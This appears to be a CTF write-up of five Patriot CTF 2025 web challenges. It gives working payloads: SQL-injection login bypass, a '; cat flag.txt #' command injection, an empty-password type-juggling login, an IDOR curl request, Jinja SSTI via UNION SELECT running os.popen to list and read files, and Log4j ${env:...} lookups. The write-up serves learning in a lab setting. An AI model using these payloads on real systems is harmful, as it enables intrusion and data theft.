I’m a player in web, so all my writeups about web challenges in Patriot CTF 2025, since the challs are closed after the event so there aren’t any images of challs. These are all 5 web challs in the event:

Connection Tester

Goal

Leveraging SQLi and Command Injection to get the flag.

My Solution

The app has a login form and there isn’t any credentials given, so tried some simple SQL Injection to bypass the login, normally admin account existed so inject:

Username: admin' --
Password: anything

We successfully logged in as admin, then there is a connection input, it will ping, so we can use Command Injection to make the server doing other things than ping. Payload:

; cat flag.txt #

By this, we can get the flag


🔐 SecureAuth™

Goal

This app is vulnerable to wrong logic coding and SQL Injection, tried and get the flag

My Solution

Logged as guest with password guest123, it takes us to the home page and there is a message: ⚠️ Admin privileges required for flag access. So we have to log in as admin. Initially, I tried to decode the cookie value and encode a new one with admin privileges however I don’t know the secret key so it is impossible.

Then I logged out and tried some SQL Injection and found an unusual way to logged in as admin:

{
    "username": "admin",
    "password": "",
    "remember": true
}

This returns the flag. The app is vulnerable with Python Type Juggling


Trust Fall

Goal

Examining and emunerating the web app to find the correct API endpoint and get the flag.

My Solution

Logged in as testuser and pass123 to log in to the app, the app has a check for admin however we’re not admin yet, examining the source found app.js:

const AUTH_TOKEN = 'trustfall-readonly';

const productTable = document.getElementById('product-table');

const detailCard = document.getElementById('detail-card');

const adminLink = document.getElementById('admin-link');

const adminStatus = document.getElementById('admin-status');

async function fetchJson(url, options = {}) {
    const response = await fetch(url, {
        credentials: 'same-origin',

        ...options,

        headers: {
            ...(options.headers || {}),

            Authorization: `Bearer ${AUTH_TOKEN}`,
        },
    });

    if (!response.ok) {
        throw new Error(`Request failed with status ${response.status}`);
    }

    return response.json();
}

function renderProducts(products) {
    productTable.innerHTML = '';

    products.forEach(product => {
        const row = document.createElement('tr');

        const skuCell = document.createElement('td');

        const skuLink = document.createElement('a');

        skuLink.href = `#${product.sku}`;

        skuLink.textContent = product.sku;

        skuLink.addEventListener('click', event => {
            event.preventDefault();

            loadProductDetails(product.sku);
        });

        skuCell.appendChild(skuLink);

        const nameCell = document.createElement('td');

        nameCell.textContent = product.name;

        const priceCell = document.createElement('td');

        priceCell.textContent = product.price ? `$${product.price.toFixed(2)}` : '—';

        const updatedByCell = document.createElement('td');

        updatedByCell.textContent =
            typeof product.updatedBy === 'number' ? product.updatedBy : 'unknown';

        row.appendChild(skuCell);

        row.appendChild(nameCell);

        row.appendChild(priceCell);

        row.appendChild(updatedByCell);

        productTable.appendChild(row);
    });
}

function renderProductDetails(product) {
    detailCard.innerHTML = '';

    const title = document.createElement('h3');

    title.textContent = product.name;

    const skuMeta = document.createElement('p');

    skuMeta.className = 'meta';

    skuMeta.textContent = `SKU: ${product.sku}`;

    const updatedMeta = document.createElement('p');

    updatedMeta.className = 'meta';

    const updatedByLabel = typeof product.updatedBy === 'number' ? product.updatedBy : 'unknown';

    updatedMeta.textContent = `Updated By: User ${updatedByLabel}`;

    const description = document.createElement('p');

    description.textContent = product.description || 'No description available.';

    detailCard.appendChild(title);

    detailCard.appendChild(skuMeta);

    detailCard.appendChild(updatedMeta);

    detailCard.appendChild(description);
}

function renderError(message) {
    detailCard.innerHTML = '';

    const error = document.createElement('p');

    error.className = 'placeholder';

    error.textContent = message;

    detailCard.appendChild(error);
}

async function loadProductDetails(sku) {
    try {
        const product = await fetchJson(`/api/products/${encodeURIComponent(sku)}`);

        renderProductDetails(product);
    } catch (error) {
        renderError('Unable to load product details.');

        // eslint-disable-next-line no-console

        console.error(error);
    }
}

async function bootstrap() {
    try {
        const products = await fetchJson('/api/products');

        renderProducts(products);
    } catch (error) {
        productTable.innerHTML = '';

        const row = document.createElement('tr');

        const cell = document.createElement('td');

        cell.colSpan = 4;

        cell.className = 'placeholder';

        cell.textContent = 'Catalog unavailable.';

        row.appendChild(cell);

        productTable.appendChild(row);

        // eslint-disable-next-line no-console

        console.error(error);
    }
}

function wireAdminLink() {
    if (!adminLink || !adminStatus) {
        return;
    }

    adminLink.addEventListener('click', async event => {
        event.preventDefault();

        adminStatus.className = 'admin-status';

        adminStatus.textContent = 'Checking admin privileges...';

        try {
            const response = await fetch('/admin', {
                credentials: 'same-origin',

                headers: { Authorization: `Bearer ${AUTH_TOKEN}` },
            });

            if (response.status === 403) {
                adminStatus.textContent = 'Unauthorized: admin console restricted to leadership.';
            } else if (response.ok) {
                adminStatus.className = 'admin-status success';

                adminStatus.textContent = 'Admin console accessible.';
            } else {
                adminStatus.textContent = `Unexpected response: ${response.status}`;
            }
        } catch (error) {
            adminStatus.textContent = 'Unable to reach admin console.';

            // eslint-disable-next-line no-console

            console.error(error);
        }
    });
}

document.addEventListener('DOMContentLoaded', () => {
    bootstrap();

    wireAdminLink();
});

This Javascript code is the logic for the website working, however after testing and examining the endpoints related to this file, I didn’t find anything although I have tried SQL Injection and more. Then I tried blind testing other popular endpoints and find this API endpoint /api/users/:id. Use curl:

curl http://SERVER/api/users/0

Got the response:

{
    "id": 0,
    "username": "root",
    "role": "superuser",
    "flag": "PCTF{authz_misconfig_owns_u}"
}

Trust Vault

Goal

This website is vulnerable to SSTI, leveraging this to get the flag.

My Solution

Create an account and logged in we can find 3 paths: /bookmarks, /audit, /reports. Inspecting the source of these 3 pages we can find a hidden page /search. In this page, there is a search input, tried a simple SSTI payloads:

{{7*7}}

Got 49, therefore we know SSTI can be used in this challenge:

' UNION SELECT "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls /').read() }}" --

Found a file flag-e1aadb58a27f03a274f54d2883bce54b.txt, run payload:

' UNION SELECT "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag-e1aadb58a27f03a274f54d2883bce54b.txt').read() }}" --

By this we can get the flag.


Feedback Fallout

Goal

This challenge is built based on CVE-2021-44228, leveraging this and get the flag.

My Solution

This web challenge takes me so much time to tried to get RCE but then I figured out that to solve this challenge is just guess the secret variable from the server :((.

The web app just have a feedback form which will make a POST request to /feedback. Based on the description and the hint on the page, we can guess that this web app is vulnerable because using Log4j which is well known with the vulnerability CVE-2021-44228. We can tried using ${user.name} we can get root in the response.

The flag is stored in the secret SECRET_FLAG, submit ${env:SECRET_FLAG}, examining the response of the POST request to /feedback and we can get the flag.

{
    "status": "success",
    "logs": "[2025-02-01 12:34:56] [SESSION:ABC123] User feedback: FLAG{…}"
}